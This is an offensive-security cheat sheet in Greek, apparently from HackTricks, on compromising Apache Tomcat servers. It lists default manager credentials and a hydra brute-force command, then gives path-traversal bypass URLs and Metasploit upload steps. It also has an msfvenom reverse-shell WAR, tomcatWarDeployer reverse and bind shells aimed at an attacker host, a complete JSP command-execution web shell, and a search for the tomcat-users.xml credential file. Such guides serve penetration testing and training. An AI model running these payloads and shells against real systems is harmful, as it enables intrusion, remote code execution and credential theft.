Tomcat

Reading time: 8 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Discovery

  • Συνήθως τρέχει στην θύρα 8080
  • Κοινό σφάλμα Tomcat:

Enumeration

Version Identification

Για να βρείτε την έκδοση του Apache Tomcat, μπορεί να εκτελεστεί μια απλή εντολή:

bash
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat

Αυτό θα αναζητήσει τον όρο "Tomcat" στη σελίδα ευρετηρίου τεκμηρίωσης, αποκαλύπτοντας την έκδοση στον τίτλο της HTML απόκρισης.

Τοποθεσία Αρχείων Διαχειριστή

Η αναγνώριση των ακριβών τοποθεσιών των /manager και /host-manager καταλόγων είναι κρίσιμη καθώς τα ονόματά τους μπορεί να έχουν τροποποιηθεί. Συνιστάται μια αναζήτηση brute-force για να εντοπιστούν αυτές οι σελίδες.

Αναγνώριση Ονομάτων Χρηστών

Για τις εκδόσεις Tomcat παλαιότερες από 6, είναι δυνατή η αναγνώριση ονομάτων χρηστών μέσω:

bash
msf> use auxiliary/scanner/http/tomcat_enum

Προεπιλεγμένα Διαπιστευτήρια

Ο /manager/html φάκελος είναι ιδιαίτερα ευαίσθητος καθώς επιτρέπει την ανέβασμα και ανάπτυξη αρχείων WAR, τα οποία μπορεί να οδηγήσουν σε εκτέλεση κώδικα. Αυτός ο φάκελος προστατεύεται από βασική HTTP αυθεντικοποίηση, με κοινά διαπιστευτήρια να είναι:

  • admin:admin
  • tomcat:tomcat
  • admin:
  • admin:s3cr3t
  • tomcat:s3cr3t
  • admin:tomcat

Αυτά τα διαπιστευτήρια μπορούν να δοκιμαστούν χρησιμοποιώντας:

bash
msf> use auxiliary/scanner/http/tomcat_mgr_login

Ένας άλλος αξιοσημείωτος κατάλογος είναι /manager/status, ο οποίος εμφανίζει την έκδοση του Tomcat και του λειτουργικού συστήματος, βοηθώντας στην αναγνώριση ευπαθειών.

Brute Force Attack

Για να επιχειρήσετε μια επίθεση brute force στον κατάλογο manager, μπορείτε να χρησιμοποιήσετε:

bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html

Along with setting various parameters in Metasploit to target a specific host.

Κοινές Ευπάθειες

Αποκάλυψη Κωδικού Πρόσβασης μέσω Backtrace

Η πρόσβαση στο /auth.jsp μπορεί να αποκαλύψει τον κωδικό πρόσβασης σε ένα backtrace υπό ευνοϊκές συνθήκες.

Διπλή Κωδικοποίηση URL

Η ευπάθεια CVE-2007-1860 στο mod_jk επιτρέπει τη διπλή κωδικοποίηση URL για διαδρομή, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση στη διαχείριση μέσω μιας ειδικά κατασκευασμένης διεύθυνσης URL.

Για να αποκτήσετε πρόσβαση στη διαχείριση του Tomcat, πηγαίνετε στο: pathTomcat/%252E%252E/manager/html

/examples

Οι εκδόσεις Apache Tomcat 4.x έως 7.x περιλαμβάνουν παραδείγματα scripts που είναι ευάλωτα σε αποκάλυψη πληροφοριών και επιθέσεις cross-site scripting (XSS). Αυτά τα scripts, που αναφέρονται εκτενώς, θα πρέπει να ελέγχονται για μη εξουσιοδοτημένη πρόσβαση και πιθανή εκμετάλλευση. Βρείτε περισσότερες πληροφορίες εδώ

  • /examples/jsp/num/numguess.jsp
  • /examples/jsp/dates/date.jsp
  • /examples/jsp/snp/snoop.jsp
  • /examples/jsp/error/error.html
  • /examples/jsp/sessions/carts.html
  • /examples/jsp/checkbox/check.html
  • /examples/jsp/colors/colors.html
  • /examples/jsp/cal/login.html
  • /examples/jsp/include/include.jsp
  • /examples/jsp/forward/forward.jsp
  • /examples/jsp/plugin/plugin.jsp
  • /examples/jsp/jsptoserv/jsptoservlet.jsp
  • /examples/jsp/simpletag/foo.jsp
  • /examples/jsp/mail/sendmail.jsp
  • /examples/servlet/HelloWorldExample
  • /examples/servlet/RequestInfoExample
  • /examples/servlet/RequestHeaderExample
  • /examples/servlet/RequestParamExample
  • /examples/servlet/CookieExample
  • /examples/servlet/JndiServlet
  • /examples/servlet/SessionExample
  • /tomcat-docs/appdev/sample/web/hello.jsp

Εκμετάλλευση Διαδρομής

Σε ορισμένες ευάλωτες ρυθμίσεις του Tomcat μπορείτε να αποκτήσετε πρόσβαση σε προστατευμένους καταλόγους στο Tomcat χρησιμοποιώντας τη διαδρομή: /..;/

Έτσι, για παράδειγμα, μπορεί να μπορείτε να πρόσβαση στη σελίδα διαχείρισης του Tomcat πηγαίνοντας: www.vulnerable.com/lalala/..;/manager/html

Ένας άλλος τρόπος για να παρακάμψετε τις προστατευμένες διαδρομές χρησιμοποιώντας αυτό το κόλπο είναι να αποκτήσετε πρόσβαση στο http://www.vulnerable.com/;param=value/manager/html

RCE

Τέλος, αν έχετε πρόσβαση στον Διαχειριστή Εφαρμογών Web του Tomcat, μπορείτε να ανεβάσετε και να αναπτύξετε ένα αρχείο .war (εκτέλεση κώδικα).

Περιορισμοί

Θα μπορείτε να αναπτύξετε ένα WAR μόνο αν έχετε αρκετά δικαιώματα (ρόλοι: admin, manager και manager-script). Αυτές οι λεπτομέρειες μπορούν να βρεθούν στο tomcat-users.xml που συνήθως ορίζεται στο /usr/share/tomcat9/etc/tomcat-users.xml (διαφέρει μεταξύ εκδόσεων) (βλ. POST section).

bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed

# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"

# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"

Metasploit

bash
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit

MSFVenom Reverse Shell

  1. Δημιουργήστε το war για ανάπτυξη:
bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LPORT> -f war -o revshell.war
  1. Ανεβάστε το revshell.war αρχείο και αποκτήστε πρόσβαση σε αυτό (/revshell/):

Bind και reverse shell με tomcatWarDeployer.py

Σε ορισμένα σενάρια αυτό δεν λειτουργεί (για παράδειγμα παλιές εκδόσεις του sun)

Κατεβάστε

bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git

Αντίστροφη θήκη

bash
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/

Bind shell

bash
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/

Χρησιμοποιώντας Culsterd

bash
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows

Manual method - Web shell

Create index.jsp with this content:

java
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
}  catch(IOException e) {   e.printStackTrace();   }
}
%>
<pre><%=output %></pre>
bash
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it

Μπορείτε επίσης να εγκαταστήσετε αυτό (επιτρέπει την αποστολή, λήψη και εκτέλεση εντολών): http://vonloesch.de/filebrowser.html

Manual Method 2

Αποκτήστε ένα JSP web shell όπως αυτό και δημιουργήστε ένα WAR αρχείο:

bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp

POST

Το όνομα του αρχείου διαπιστευτηρίων Tomcat είναι tomcat-users.xml και αυτό το αρχείο υποδεικνύει τον ρόλο του χρήστη μέσα στο tomcat.

bash
find / -name tomcat-users.xml 2>/dev/null

Παράδειγμα:

xml
[...]
<!--
By default, no user is included in the "manager-gui" role required
to operate the "/manager/html" web application.  If you wish to use this app,
you must define such a user - the username and password are arbitrary.

Built-in Tomcat manager roles:
- manager-gui    - allows access to the HTML GUI and the status pages
- manager-script - allows access to the HTTP API and the status pages
- manager-jmx    - allows access to the JMX proxy and the status pages
- manager-status - allows access to the status pages only
-->
[...]
<role rolename="manager-gui" />
<user username="tomcat" password="tomcat" roles="manager-gui" />
<role rolename="admin-gui" />
<user username="admin" password="admin" roles="manager-gui,admin-gui" />

Άλλα εργαλεία σάρωσης tomcat

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks